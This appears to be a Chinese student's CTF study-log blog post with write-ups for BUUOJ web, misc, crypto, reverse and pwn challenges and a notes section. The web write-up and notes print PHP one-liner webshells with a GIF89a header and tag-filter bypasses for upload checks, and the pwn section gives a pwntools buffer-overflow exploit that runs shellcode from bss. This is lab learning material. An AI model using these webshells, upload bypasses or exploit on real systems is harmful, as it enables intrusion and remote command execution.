当前位置: 首页 > article >正文

寒假1.25

题解

web:[极客大挑战 2019]Upload

打开环境

上传一个一句话木马试试

只能上传图片那就再上传一次,bp抓包修改type-content为image/jpeg试试

 不行

看来是文件后缀被绕过了,上传一个.html然后抓包改类型试试

上传成功了,但是提示‘<?’被过滤了……

去搜搜它的绕过方法

GIF89a
<script language="php">eval($_POST['shell']);</script>

成功上传

蚁剑连接

 即可在根目录找到flag

misc:[MRCTF2020]你能看懂音符吗

010打开,发现文件头前两位位置互换了,更改回来

解压得到一个docx文档

打开看看

全选更改文字颜色也没用,排除这种方法

右上角搜索隐藏,点击“显示/隐藏段落标记”

 用在线工具解密

但是一直粘贴不过来

用010打开.docx文档,发现存在PK文件的文件头,确认为zip文件

更改扩展名为.zip后解压

打开word文件的document文件,复制音符

用在线工具解密即可

crypto:世上无难事

VIZZB IFIUOJBWO NVXAP OBC XZZ UKHVN IFIUOJBWO HB XVIXW XAW VXFI X QIXN VBD KQ IFIUOJBWO WBKAH NBWXO VBD XJBCN NKG QLKEIU DI XUI VIUI DKNV QNCWIANQ XN DXPIMKIZW VKHV QEVBBZ KA XUZKAHNBA FKUHKAKX XAW DI VXFI HBN QNCWIANQ NCAKAH KA MUBG XZZ XEUBQQ XGIUKEX MUBG PKAWIUHXUNIA NVUBCHV 12NV HUXWI XAW DI XUI SCQN QB HZXW NVXN XZZ EBCZW SBKA CQ NBWXO XAW DI DXAN NB NVXAP DXPIMKIZW MBU JIKAH QCEV XA BCNQNXAWKAH VBQN HKFI OBCUQIZFIQ X JKH UBCAW BM XLLZXCQI XAW NVI PIO KQ 640I11012805M211J0XJ24MM02X1IW09

法一:使用工具quipqiup - cryptoquip and cryptogram solver进行暴力破解

将得到的key转换成小写形式即可

法二:仔细阅读题目,得到答案的位数为32、包含小写字母的信息,通过位数统计,可以确定最后一串字符为答案

reverse:[GUET-CTF2019]re

exeinfope查看,.elf文件,64位有壳

freeUPX脱壳后ida64打开,shift+f12查看字符串

双击查看函数

进入sub_400E28函数,f5反汇编

这里发现输出correct函数的是sub_4009AE函数 跟进sub_4009AE函数

看到这里很懵,然后就去看了大佬的wp,后面的a7那个部分没看明白,再看看,要是还不会就来问师姐

这里进行的运算是X*a1[n]!=Y 我们给它进行逆操作 就是a1[n]=Y//X

脚本:

 
Y_values = [  
    166163712, 731332800, 357245568, 1074393000, 489211344, 518971936,  
    406741500, 294236496, 177305856, 650683500, 298351053, 386348487,  
    438258597, 249527520, 445362764, 981182160, 174988800, 493042704,  
    257493600, 767478780, 312840624, 1404511500, 316139670, 619005024,  
    372641472, 373693320, 498266640, 452465676, 208422720, 515592000,  
    719890500  
]  
  
X_values = [  
    1629056, 6771600, 3682944, 10431000, 3977328, 5138336,  
    7532250, 5551632, 3409728, 13013670, 6088797, 7884663,  
    8944053, 5198490, 4544518, 10115280, 3645600, 9667504,  
    5364450, 13464540, 5488432, 14479500, 6451830, 6252576,  
    7763364, 7327320, 8741520, 8871876, 4086720, 9374400,  
    5759124 
]  
  
a = [chr(y // x) for y, x in zip(Y_values, X_values)]  
    
print(''.join(a)) 

 但是因为a7不存在 我们需要0-9一个一个试值 最后试出来a7=1

故flag为flag{e165421110ba03099a1c039337}

pwn:ciscn_2019_n_5

exeinfope查看,64位无壳

ida64打开,查看主函数

有gets函数,查看text,存在溢出

我们再去看看name,然后发现name是bss段上的全局变量

又因为该题没有system("/bin/sh")的字样,所以我们可以向bss段写入shellcode拿到权限

shellcode = asm(shellcraft.sh())            #这个语句是生成shellcode,以便我们拿到权限

脚本:

from pwn import *
#p = process("C:\Users\aran\Desktop\rubbish\ciscn_2019_n_5")
p = remote('node5.buuoj.cn',29214)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
payload_1=asm(shellcraft.sh())
payload_2 = b'a'*(0x20+0x08)+p64(0x0601080)
p.sendlineafter(b'tell me your name\n',payload_1)
p.recv()
p.sendline(payload_2)
p.interactive()

知识点

web

标签过滤绕过方式

    <?php @eval($_POST['cmd']); ?>            //正常写法
 
<?=@eval($_POST['cmd']); ?>              //短标签,适合过滤php
 
<?=`cat /flag`?>   //短标签,``中间直接使用系统命令
 
    <% @eval($_POST['cmd']); %>               //asp风格
 
    <script language='php'>@eval($_POST['cmd']);</script>      //<script>风格,适合过滤<?

GIF89a:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

misc

要注意区分.zip文件和.rar文件文件头的区别(一开始半天没反应过来)

docx文件后缀更改为.zip后一般都可以正常解压,并在里面找到一些通过软件更改的信息

原因:docx文件本质上是一个ZIP格式的压缩包,它包含了构成Word文档的多个文件和文件夹。这些文件和文件夹以特定的结构组织,其中包含了文档的文本内容(通常保存在document.xml文件中)、图片(保存在media文件夹中)以及其他相关的资源和属性。


http://www.kler.cn/a/520764.html

相关文章:

  • 深入理解若依RuoYi-Vue数据字典设计与实现
  • Jenkins上生成的allure report打不开怎么处理
  • Autosar-Os是怎么运行的?(Os基础模块)
  • 基于微信小程序的移动学习平台的设计与实现(LW+源码+讲解)
  • Vue.js 什么是 Vuex?
  • 电梯系统的UML文档11
  • 第04章 15 vtkObjectBase和vtkObject的基本特性及它们在VTK类体系中基础性作用
  • 动手学图神经网络(4):利用图神经网络进行图分类
  • 云岚到家项目100问 v1.0
  • 二叉树高频题目——下——不含树型dp
  • 基于单片机的智能小区门禁系统设计(论文+源码)
  • 【填充——双指针,DP】
  • 【算法】剪枝与优化
  • java复习总结
  • 有赞任务js脚本
  • C#的反射使用示例
  • c++小知识点
  • 从规则到神经网络:机器翻译技术的演进与未来展望
  • Golang 执行流程分析
  • 「 机器人 」扑翼飞行器的偏航力矩控制:分周期参数调节机制
  • 【SpringMVC】——Json数据交互处理
  • Leetcode::3432. 统计元素和差值为偶数的分区方案
  • 数据库、数据仓库、数据湖有什么不同
  • redis 实践与扩展
  • 【论文复现】一种改进哈里斯鹰优化算法用于连续和离散优化问题
  • SSM开发(三) spring与mybatis整合(含完整运行demo源码)